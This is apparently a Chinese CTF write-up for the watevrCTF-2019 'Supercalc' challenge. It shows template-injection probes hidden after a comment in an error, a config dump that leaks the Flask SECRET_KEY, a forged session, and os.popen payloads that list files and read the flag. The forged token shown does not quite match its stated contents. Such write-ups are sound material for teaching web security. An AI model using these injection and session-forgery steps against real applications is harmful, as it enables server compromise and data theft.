[watevrCTF-2019]Supercalc
打开页面,我们发现一个计算框
我们输入1+1,返回了2

这种情况我们想到ssti模版注入
我们输入49
结果发生报错

提示我们不能输入{}
我们继续查找,在cookie里发现session,看结构和开头,应该是flask框架的,我们进行解密

1 | {'history': [{'code': '1 + 1'}]} |
其解密后的值为之前提交的算式,猜测code中的式子可被执行
我们尝试让程序进行报错
在输入1/0时,得到报错:

说明程序对报错应该没有做过滤,尝试输入#(注释):1/0#1+1:

得到报错,式子拼接成功
得到报错,式子被成功拼接,在#注释后加上模版语法:
1 | 1/0#{{7*7}} |

我们尝试进行模版注入
1 | 1/0#{{“”.__class__}} |
又报错了,长度进行了限制

我们只能伪造session了,看看是否能爆出SECRET_KEY的值,查看config
1 | 1/0#{{config}} |

成功找到SECRET_KEY,满足了加密session的条件
构造本题所需的session:
1 | {'history': [{'code': '__import__(\"os\").popen(\"ls \").read()'}]} |
注:需要将其中的"双引号进行转译
我们进行session加密

成功伪造session
1 | eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIiBvc1xcKS5wb3BlbihcXGxzXFwpLnJlYWQoKSJ9XX0.ZvVqlg.3-2P1K8I7k9ZeL5vzceo8wQX1Cg |
我们填入session进行刷新

找到flag文件,我们打开它
1 | {'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]} |
重复以上操作得到flag
